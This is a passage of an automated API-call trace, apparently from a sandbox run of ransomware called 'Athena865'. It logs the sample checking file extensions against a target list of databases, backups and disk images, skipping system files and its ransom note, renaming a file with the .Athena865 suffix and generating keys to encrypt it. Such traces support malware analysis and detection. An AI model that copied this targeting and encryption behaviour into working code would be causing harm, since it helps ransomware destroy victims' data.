(lpString="nv") returned 2 [0108.637] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0108.637] lstrlenW (lpString="nv2") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0108.637] lstrlenW (lpString="nwdb") returned 4 [0108.637] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0108.637] lstrlenW (lpString="nyf") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0108.637] lstrlenW (lpString="odb") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.637] lstrlenW (lpString="odb") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.637] lstrlenW (lpString="oqy") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0108.637] lstrlenW (lpString="ora") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0108.637] lstrlenW (lpString="orx") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0108.638] lstrlenW (lpString="owc") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0108.638] lstrlenW (lpString="p96") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0108.638] lstrlenW (lpString="p97") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0108.638] lstrlenW (lpString="pan") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0108.638] lstrlenW (lpString="pdb") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0108.638] lstrlenW (lpString="pdm") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0108.638] lstrlenW (lpString="pnz") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0108.638] lstrlenW (lpString="qry") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0108.638] lstrlenW (lpString="qvd") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0108.638] lstrlenW (lpString="rbf") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0108.638] lstrlenW (lpString="rctd") returned 4 [0108.638] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0108.638] lstrlenW (lpString="rod") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0108.638] lstrlenW (lpString="rodx") returned 4 [0108.638] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0108.638] lstrlenW (lpString="rpd") returned 3 [0108.638] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0108.638] lstrlenW (lpString="rsd") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0108.639] lstrlenW (lpString="sas7bdat") returned 8 [0108.639] lstrcmpiW (lpString1="nalm.dat", lpString2="sas7bdat") returned -1 [0108.639] lstrlenW (lpString="sbf") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0108.639] lstrlenW (lpString="scx") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0108.639] lstrlenW (lpString="sdb") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0108.639] lstrlenW (lpString="sdc") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0108.639] lstrlenW (lpString="sdf") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0108.639] lstrlenW (lpString="sis") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0108.639] lstrlenW (lpString="spq") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0108.639] lstrlenW (lpString="te") returned 2 [0108.639] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0108.639] lstrlenW (lpString="teacher") returned 7 [0108.639] lstrcmpiW (lpString1="alm.dat", lpString2="teacher") returned -1 [0108.639] lstrlenW (lpString="tmd") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0108.639] lstrlenW (lpString="tps") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0108.639] lstrlenW (lpString="trc") returned 3 [0108.639] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.639] lstrlenW (lpString="trc") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.640] lstrlenW (lpString="trm") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0108.640] lstrlenW (lpString="udb") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0108.640] lstrlenW (lpString="udl") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0108.640] lstrlenW (lpString="usr") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0108.640] lstrlenW (lpString="v12") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0108.640] lstrlenW (lpString="vis") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0108.640] lstrlenW (lpString="vpd") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0108.640] lstrlenW (lpString="vvv") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0108.640] lstrlenW (lpString="wdb") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0108.640] lstrlenW (lpString="wmdb") returned 4 [0108.640] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0108.640] lstrlenW (lpString="wrk") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0108.640] lstrlenW (lpString="xdb") returned 3 [0108.640] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0108.641] lstrlenW (lpString="xld") returned 3 [0108.641] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0108.641] lstrlenW (lpString="xmlff") returned 5 [0108.641] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0108.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.Athena865") returned 73 [0108.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.athena865"), dwFlags=0x1) returned 1 [0108.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.642] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=747280) returned 1 [0108.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.644] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.644] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.644] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6a10, lpName=0x0) returned 0x17c [0108.645] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6a10) returned 0x2d50000 [0108.676] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.677] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.677] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.678] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.684] CloseHandle (hObject=0x17c) returned 1 [0108.684] CloseHandle (hObject=0x154) returned 1 [0108.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.687] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0108.687] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.687] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.687] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".") returned 1 [0108.687] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="..") returned 1 [0108.687] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="windows") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootmgr") returned 1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="temp") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="pagefile.sys") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="boot") returned 1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ids.txt") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ntuser.dat") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="perflogs") returned -1 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="MSBuild") returned -1 [0108.688] lstrlenW (lpString="hwrenclm.dat") returned 12 [0108.688] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrenclm.dat" | out: lpString1="hwrenclm.dat") returned="hwrenclm.dat" [0108.688] lstrlenW (lpString="hwrenclm.dat") returned 12 [0108.688] lstrlenW (lpString="Athena865") returned 9 [0108.688] lstrcmpiW (lpString1="enclm.dat", lpString2="Athena865") returned 1 [0108.688] lstrlenW (lpString=".dll") returned 4 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".dll") returned 1 [0108.688] lstrlenW (lpString=".lnk") returned 4 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".lnk") returned 1 [0108.688] lstrlenW (lpString=".ini") returned 4 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".ini") returned 1 [0108.688] lstrlenW (lpString=".sys") returned 4 [0108.688] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".sys") returned 1 [0108.688] lstrlenW (lpString="hwrenclm.dat") returned 12 [0108.688] lstrlenW (lpString="bak") returned 3 [0108.688] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0108.688] lstrlenW (lpString="ba_") returned 3 [0108.688] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0108.688] lstrlenW (lpString="dbb") returned 3 [0108.688] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0108.689] lstrlenW (lpString="vmdk") returned 4 [0108.689] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0108.689] lstrlenW (lpString="rar") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0108.689] lstrlenW (lpString="zip") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0108.689] lstrlenW (lpString="tgz") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0108.689] lstrlenW (lpString="vbox") returned 4 [0108.689] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0108.689] lstrlenW (lpString="vdi") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0108.689] lstrlenW (lpString="vhd") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0108.689] lstrlenW (lpString="vhdx") returned 4 [0108.689] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0108.689] lstrlenW (lpString="avhd") returned 4 [0108.689] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0108.689] lstrlenW (lpString="db") returned 2 [0108.689] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0108.689] lstrlenW (lpString="db2") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0108.689] lstrlenW (lpString="db3") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0108.689] lstrlenW (lpString="dbf") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0108.689] lstrlenW (lpString="mdf") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0108.689] lstrlenW (lpString="mdb") returned 3 [0108.689] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0108.690] lstrlenW (lpString="sql") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0108.690] lstrlenW (lpString="sqlite") returned 6 [0108.690] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0108.690] lstrlenW (lpString="sqlite3") returned 7 [0108.690] lstrcmpiW (lpString1="clm.dat", lpString2="sqlite3") returned -1 [0108.690] lstrlenW (lpString="sqlitedb") returned 8 [0108.690] lstrcmpiW (lpString1="nclm.dat", lpString2="sqlitedb") returned -1 [0108.690] lstrlenW (lpString="xml") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0108.690] lstrlenW (lpString="$er") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0108.690] lstrlenW (lpString="4dd") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0108.690] lstrlenW (lpString="4dl") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0108.690] lstrlenW (lpString="^^^") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0108.690] lstrlenW (lpString="abs") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0108.690] lstrlenW (lpString="abx") returned 3 [0108.690] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0108.690] lstrlenW (lpString="accdb") returned 5 [0108.690] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0108.690] lstrlenW (lpString="accdc") returned 5 [0108.690] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0108.690] lstrlenW (lpString="accde") returned 5 [0108.690] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0108.690] lstrlenW (lpString="accdr") returned 5 [0108.690] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0108.691] lstrlenW (lpString="accdt") returned 5 [0108.691] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0108.691] lstrlenW (lpString="accdw") returned 5 [0108.691] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0108.691] lstrlenW (lpString="accft") returned 5 [0108.691] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0108.691] lstrlenW (lpString="adb") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.691] lstrlenW (lpString="adb") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.691] lstrlenW (lpString="ade") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0108.691] lstrlenW (lpString="adf") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0108.691] lstrlenW (lpString="adn") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0108.691] lstrlenW (lpString="adp") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0108.691] lstrlenW (lpString="alf") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0108.691] lstrlenW (lpString="ask") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0108.691] lstrlenW (lpString="btr") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0108.691] lstrlenW (lpString="cat") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0108.691] lstrlenW (lpString="cdb") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0108.691] lstrlenW (lpString="ckp") returned 3 [0108.691] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0108.692] lstrlenW (lpString="cma") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0108.692] lstrlenW (lpString="cpd") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0108.692] lstrlenW (lpString="dacpac") returned 6 [0108.692] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0108.692] lstrlenW (lpString="dad") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0108.692] lstrlenW (lpString="dadiagrams") returned 10 [0108.692] lstrcmpiW (lpString1="renclm.dat", lpString2="dadiagrams") returned 1 [0108.692] lstrlenW (lpString="daschema") returned 8 [0108.692] lstrcmpiW (lpString1="nclm.dat", lpString2="daschema") returned 1 [0108.692] lstrlenW (lpString="db-journal") returned 10 [0108.692] lstrcmpiW (lpString1="renclm.dat", lpString2="db-journal") returned 1 [0108.692] lstrlenW (lpString="db-shm") returned 6 [0108.692] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0108.692] lstrlenW (lpString="db-wal") returned 6 [0108.692] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0108.692] lstrlenW (lpString="dbc") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0108.692] lstrlenW (lpString="dbs") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0108.692] lstrlenW (lpString="dbt") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0108.692] lstrlenW (lpString="dbv") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0108.692] lstrlenW (lpString="dbx") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0108.692] lstrlenW (lpString="dcb") returned 3 [0108.692] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0108.693] lstrlenW (lpString="dct") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0108.693] lstrlenW (lpString="dcx") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0108.693] lstrlenW (lpString="ddl") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0108.693] lstrlenW (lpString="dlis") returned 4 [0108.693] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0108.693] lstrlenW (lpString="dp1") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0108.693] lstrlenW (lpString="dqy") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0108.693] lstrlenW (lpString="dsk") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0108.693] lstrlenW (lpString="dsn") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0108.693] lstrlenW (lpString="dtsx") returned 4 [0108.693] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0108.693] lstrlenW (lpString="dxl") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0108.693] lstrlenW (lpString="eco") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0108.693] lstrlenW (lpString="ecx") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0108.693] lstrlenW (lpString="edb") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0108.693] lstrlenW (lpString="epim") returned 4 [0108.693] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0108.693] lstrlenW (lpString="fcd") returned 3 [0108.693] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0108.693] lstrlenW (lpString="fdb") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0108.694] lstrlenW (lpString="fic") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0108.694] lstrlenW (lpString="flexolibrary") returned 12 [0108.694] lstrlenW (lpString="fm5") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0108.694] lstrlenW (lpString="fmp") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0108.694] lstrlenW (lpString="fmp12") returned 5 [0108.694] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0108.694] lstrlenW (lpString="fmpsl") returned 5 [0108.694] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0108.694] lstrlenW (lpString="fol") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0108.694] lstrlenW (lpString="fp3") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0108.694] lstrlenW (lpString="fp4") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0108.694] lstrlenW (lpString="fp5") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0108.694] lstrlenW (lpString="fp7") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0108.694] lstrlenW (lpString="fpt") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0108.694] lstrlenW (lpString="frm") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0108.694] lstrlenW (lpString="gdb") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.694] lstrlenW (lpString="gdb") returned 3 [0108.694] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.695] lstrlenW (lpString="grdb") returned 4 [0108.695] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0108.695] lstrlenW (lpString="gwi") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0108.695] lstrlenW (lpString="hdb") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0108.695] lstrlenW (lpString="his") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0108.695] lstrlenW (lpString="ib") returned 2 [0108.695] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0108.695] lstrlenW (lpString="idb") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0108.695] lstrlenW (lpString="ihx") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0108.695] lstrlenW (lpString="itdb") returned 4 [0108.695] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0108.695] lstrlenW (lpString="itw") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0108.695] lstrlenW (lpString="jet") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0108.695] lstrlenW (lpString="jtx") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0108.695] lstrlenW (lpString="kdb") returned 3 [0108.695] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0108.695] lstrlenW (lpString="kexi") returned 4 [0108.695] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0108.695] lstrlenW (lpString="kexic") returned 5 [0108.695] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0108.695] lstrlenW (lpString="kexis") returned 5 [0108.696] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0108.696] lstrlenW (lpString="lgc") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0108.696] lstrlenW (lpString="lwx") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0108.696] lstrlenW (lpString="maf") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0108.696] lstrlenW (lpString="maq") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0108.696] lstrlenW (lpString="mar") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0108.696] lstrlenW (lpString="marshal") returned 7 [0108.696] lstrcmpiW (lpString1="clm.dat", lpString2="marshal") returned -1 [0108.696] lstrlenW (lpString="mas") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0108.696] lstrlenW (lpString="mav") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0108.696] lstrlenW (lpString="maw") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0108.696] lstrlenW (lpString="mdbhtml") returned 7 [0108.696] lstrcmpiW (lpString1="clm.dat", lpString2="mdbhtml") returned -1 [0108.696] lstrlenW (lpString="mdn") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0108.696] lstrlenW (lpString="mdt") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0108.696] lstrlenW (lpString="mfd") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0108.696] lstrlenW (lpString="mpd") returned 3 [0108.696] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0108.696] lstrlenW (lpString="mrg") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0108.697] lstrlenW (lpString="mud") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0108.697] lstrlenW (lpString="mwb") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0108.697] lstrlenW (lpString="myd") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0108.697] lstrlenW (lpString="ndf") returned 3 [0108.697] 